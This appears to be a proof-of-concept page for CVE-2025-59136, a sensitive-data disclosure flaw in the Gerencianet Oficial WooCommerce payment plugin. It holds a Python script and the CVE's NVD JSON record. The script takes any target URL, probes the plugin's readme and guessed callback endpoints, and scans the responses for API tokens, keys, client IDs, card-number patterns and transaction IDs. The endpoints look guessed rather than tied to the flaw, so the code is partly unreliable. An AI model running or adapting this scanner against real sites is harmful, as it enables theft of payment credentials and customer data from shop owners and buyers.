CVE-2025-59136

import requests import re # CVE-2025-59136 PoC - Sensitive Information Disclosure in Woo Gerencianet Official # Target: WordPress site with WooCommerce Gerencianet Official plugin <= 3.1.3 def check_gerencianet_version(target_url): """Check if target is using vulnerable Gerencianet plugin""" # Check plugin version via wp-json or readme endpoints = [ f"{target_url}/wp-content/plugins/woo-gerencianet-official/readme.txt", f"{target_url}/wp-json/wp/v2/plugins?search=gerencianet" ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: print(f"[+] Found endpoint: {endpoint}") # Extract version if possible version_match = re.search(r'Tested up to:\s*([\d.]+)', response.text) if version_match: print(f"[*] Plugin info: {response.text[:500]}") except Exception as e: print(f"[-] Error: {e}") def exploit_sensitive_data(target_url): """Attempt to trigger sensitive data disclosure""" # Common Gerencianet callback endpoints payloads = [ "/?wc-api=wc_gerencianet_gateway", "/?wc-api=gerencianet_callback", "/wp-json/gerencianet/v1/" ] for payload in payloads: url = target_url + payload try: response = requests.get(url, timeout=10) # Check for sensitive data patterns sensitive_patterns = [ r'"token"\s*:\s*"[^"]+"', r'"api_key"\s*:\s*"[^"]+"', r'"client_id"\s*:\s*"[^"]+"', r'\d{4}[- ]?\d{4}[- ]?\d{4}[- ]?\d{4}', # Credit card patterns r'"transaction_id"\s*:\s*"[^"]+"' ] for pattern in sensitive_patterns: matches = re.findall(pattern, response.text, re.IGNORECASE) if matches: print(f"[!] Sensitive data found at {url}") print(f"[!] Pattern: {pattern}") print(f"[!] Matches: {matches[:5]}") return True except Exception as e: print(f"[-] Error testing {url}: {e}") print("[*] No obvious sensitive data found, manual verification needed") return False if __name__ == "__main__": target = input("Enter target URL: ") print(f"[*] Scanning {target} for CVE-2025-59136") check_gerencianet_version(target) exploit_sensitive_data(target)

{"cve": {"id": "CVE-2025-59136", "sourceIdentifier": "[email protected]", "published": "2025-12-31T16:15:43.580", "lastModified": "2026-04-23T15:34:02.857", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in Efí Bank Gerencianet Oficial woo-gerencianet-official allows Retrieve Embedded Sensitive Data.This issue affects Gerencianet Oficial: from n/a through <= 3.1.3."}, {"lang": "es", "value": "Vulnerabilidad de inserción de información sensible en datos enviados en Efí Bank Gerencianet Oficial permite recuperar datos sensibles incrustados. Este problema afecta a Gerencianet Oficial: desde n/a hasta 3.1.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woo-gerencianet-official/vulnerability/wordpress-gerencianet-oficial-plugin-3-1-3-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}